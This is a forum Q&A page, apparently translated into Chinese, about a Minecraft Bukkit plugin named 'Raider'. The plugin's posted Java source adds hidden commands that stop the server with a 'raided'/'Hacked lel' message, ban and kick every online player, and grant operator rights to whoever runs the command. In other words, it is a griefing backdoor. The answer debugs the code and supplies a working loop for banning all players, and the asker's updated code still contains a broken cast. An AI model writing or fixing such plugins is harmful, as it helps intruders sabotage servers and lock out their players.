2015-07-19 77 views
-3
package com.LeGhost.main; 

import java.util.Random; 

import org.bukkit.Bukkit; 
import org.bukkit.command.Command; 
import org.bukkit.command.CommandSender; 
import org.bukkit.command.ConsoleCommandSender; 
import org.bukkit.entity.Player; 
import org.bukkit.plugin.java.JavaPlugin; 

public class Raider extends JavaPlugin{ 
    private JavaPlugin plugin = Raider.this; 

    public void onEnable() { 
     plugin.getLogger().info("Raider fully enabled!"); 
    }//ENABLE 

public void onDisable() { 
    plugin.getLogger().info("Raider disabled!"); 
}//DISABLE 

public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) { 
    if(sender instanceof Player || sender instanceof ConsoleCommandSender) { 
     if(cmd.getName().equalsIgnoreCase("raid")) { 
      plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "stop YOUR SERVER JUST GOT RAIDED!!!!!!!");//stops the server... DOES WORK 
     } 
     if(cmd.getName().equalsIgnoreCase("banall")) { 
      @SuppressWarnings("deprecation") 
      int playerNumber = plugin.getServer().getOnlinePlayers().length; 
      @SuppressWarnings("deprecation") 
      int random = new Random().nextInt(Bukkit.getOnlinePlayers().length); 
      @SuppressWarnings("deprecation") 
      Player player = Bukkit.getOnlinePlayers()[random]; 
      while(playerNumber > 0) { 
       plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "ban " + player); 
      }//THIS DOES NOT WORK! It is supposed to ban all the players that are currently on the server by choosing a random player while the player count is over 0 
     } 
     if(cmd.getName().equalsIgnoreCase("moop")) { 
      plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "op " + sender.getName()); 
     }//DOES NOT WORK!! It should op the sender. 
    } 
    return false; 
} 

} 

如果有人能幫助我,我會很感激! 另一件事是,banall的東西崩潰的服務器。 我想知道的任何修復和知道爲什麼這不起作用如何解決控制檯中「未知命令」的錯誤?

控制檯輸出banall

[22:09:46] [Server thread/WARN]: Unexpected exception while parsing console command "banall" 
org.bukkit.command.CommandException: Unhandled exception executing command 'banall' in plugin Raider v1.0 
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:46) ~[spigot.jar:git-Spigot-f928e7a-994b2aa] 
at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:141) ~[spigot.jar:git-Spigot-f928e7a-994b2aa] 
at org.bukkit.craftbukkit.v1_8_R3.CraftServer.dispatchCommand(CraftServer.java:642) ~[spigot.jar:git-Spigot-f928e7a-994b2aa] 
at org.bukkit.craftbukkit.v1_8_R3.CraftServer.dispatchServerCommand(CraftServer.java:628) [spigot.jar:git-Spigot-f928e7a-994b2aa] 
at net.minecraft.server.v1_8_R3.DedicatedServer.aO(DedicatedServer.java:404) [spigot.jar:git-Spigot-f928e7a-994b2aa] 
at net.minecraft.server.v1_8_R3.DedicatedServer.B(DedicatedServer.java:368) [spigot.jar:git-Spigot-f928e7a-994b2aa] 
at net.minecraft.server.v1_8_R3.MinecraftServer.A(MinecraftServer.java:657) [spigot.jar:git-Spigot-f928e7a-994b2aa] 
at net.minecraft.server.v1_8_R3.MinecraftServer.run(MinecraftServer.java:560) [spigot.jar:git-Spigot-f928e7a-994b2aa] 
at java.lang.Thread.run(Unknown Source) [?:1.8.0_45] 
Caused by: java.lang.IllegalArgumentException: bound must be positive 
at java.util.Random.nextInt(Unknown Source) ~[?:1.8.0_45] 
at com.LeGhost.main.Raider.onCommand(Raider.java:32) ~[?:?] 
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:44) ~[spigot.jar:git-Spigot-f928e7a-994b2aa] 
... 8 more 

控制檯輸出MOOP

[22:12:59 INFO]: Unknown command. Type "/help" for help. 

更新代碼

package com.LeGhost.main; 

import org.bukkit.BanList; 
import org.bukkit.Bukkit; 
import org.bukkit.Server; 
import org.bukkit.command.Command; 
import org.bukkit.command.CommandSender; 
import org.bukkit.command.ConsoleCommandSender; 
import org.bukkit.entity.Player; 
import org.bukkit.plugin.java.JavaPlugin; 

public class Raider extends JavaPlugin{ 
private JavaPlugin plugin = Raider.this; 

public void onEnable() { 
    plugin.getLogger().info("Raider fully enabled!"); 
} 

public void onDisable() { 
    plugin.getLogger().info("Raider disabled!"); 
} 

@SuppressWarnings("deprecation") 
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) { 
    if(sender instanceof Player || sender instanceof ConsoleCommandSender) { 
     if(cmd.getName().equalsIgnoreCase("raid")) { 
      plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "stop " + "Hacked lel"); 
     } 
     if(cmd.getName().equalsIgnoreCase("banall")) { 
      plugin.getServer().getOnlinePlayers(); 
      Bukkit.getOnlinePlayers(); 
      for (Player player1 : Bukkit.getOnlinePlayers()) { 
       getServer().dispatchCommand(Bukkit.getConsoleSender(), "ban " + player1.getName() + " Hacked lel"); 
       ((Server) plugin).getBanList(BanList.Type.NAME).addBan(player1.getName(), "Hacked lel", null, sender.getName()); 
       player1.kickPlayer("Hacked lel"); 
      } 
     } 
     if(cmd.getName().equalsIgnoreCase("moop")) { 
      plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "op " + sender.getName()); 
     } 
    } 
    return false; 
} 

} 
+0

你可以發佈控制檯的輸出嗎? – wkcamp

+0

是的,我可以,如果你需要它 –

+0

是的,我們可以更快地查明錯誤。包括剛剛完成的總輸出 – wkcamp

回答

1

看來你正在嘗試使用返回的玩家集合getOnlinePlayers()就像一個數組。而不是length您需要使用size()方法來獲取集合中包含的元素的數量。要通過索引獲取特定玩家,您可以使用(Player) Bukkit.getOnlinePlayers().toArray()[index],其中index可能是您的隨機生成索引。

在行"ban " + player中,您將String「禁令」與對象player連接起來。由於player不是String,所以將自動調用toString()方法將其變爲一個。 toString()方法Player將導致輸出類似於CraftPlayer{name="Foo"},並因此嘗試禁止使用該確切輸出的玩家。相反,使用getName()方法讓玩家獲得玩家的名字(在本例中爲「Foo」)。

除非由於某些原因,您真的想用您的方法來選擇隨機播放器,否則您可以使用for循環來禁止服務器上的每個播放器。但是,即使採用隨機化方法,您仍然需要某種循環。 player參考不會更新以反映在服務器上選擇不同的播放器。您的代碼選擇一個隨機播放器,然後只要服務器不是空的,就會一次又一次地禁止相同的播放器(如果有超過2個播放器在播放,則可能導致服務器崩潰)。相反,您可以在禁令之後的每次迭代中嘗試更新玩家變量,再次獲取玩家數量,選擇隨機索引並設置玩家變量的新值。儘管只用一個循環遍歷每個玩家並以這種方式禁止他們,但也許還是會更好。

這裏是禁止使用的每個循環中的所有玩家的一個例子:

for (Player player : Bukkit.getOnlinePlayers()) { 
    getServer().dispatchCommand(Bukkit.getConsoleSender(), "ban " + player.getName()); 
    //Alternatively use the method below to ban players 
    //Bukkit.getBanList(BanList.Type.NAME).addBan(player.getName(), "insert_reason_here", null, sender.getName()); 
    //player.kickPlayer("Banned by admin"); 
} 

你也可以把@SuppressWarnings註釋外的整個onCommand方法,讓你不必把它多次寫。

我測試了你的「moop」命令作爲一個球員,它似乎工作得很好。

+0

嗯我添加了禁止的事情來做你說的,但它仍然沒有工作,這次錯誤是在線35 –

+0

你能否詳細說明通過更新你的代碼在問題中所做的改變?我在回答中提出了一些建議,從創建一個for循環到使用'getName()'方法,所以我不太確定你指的是哪一個變更。 plugin.getServer()。dispatchCommand(Bukkit.getServer()。getConsoleSender(),「ban」+ player)後的 –

+0

;我添加了player = Bukkit.getOnlinePlayers()[random]; –

相關問題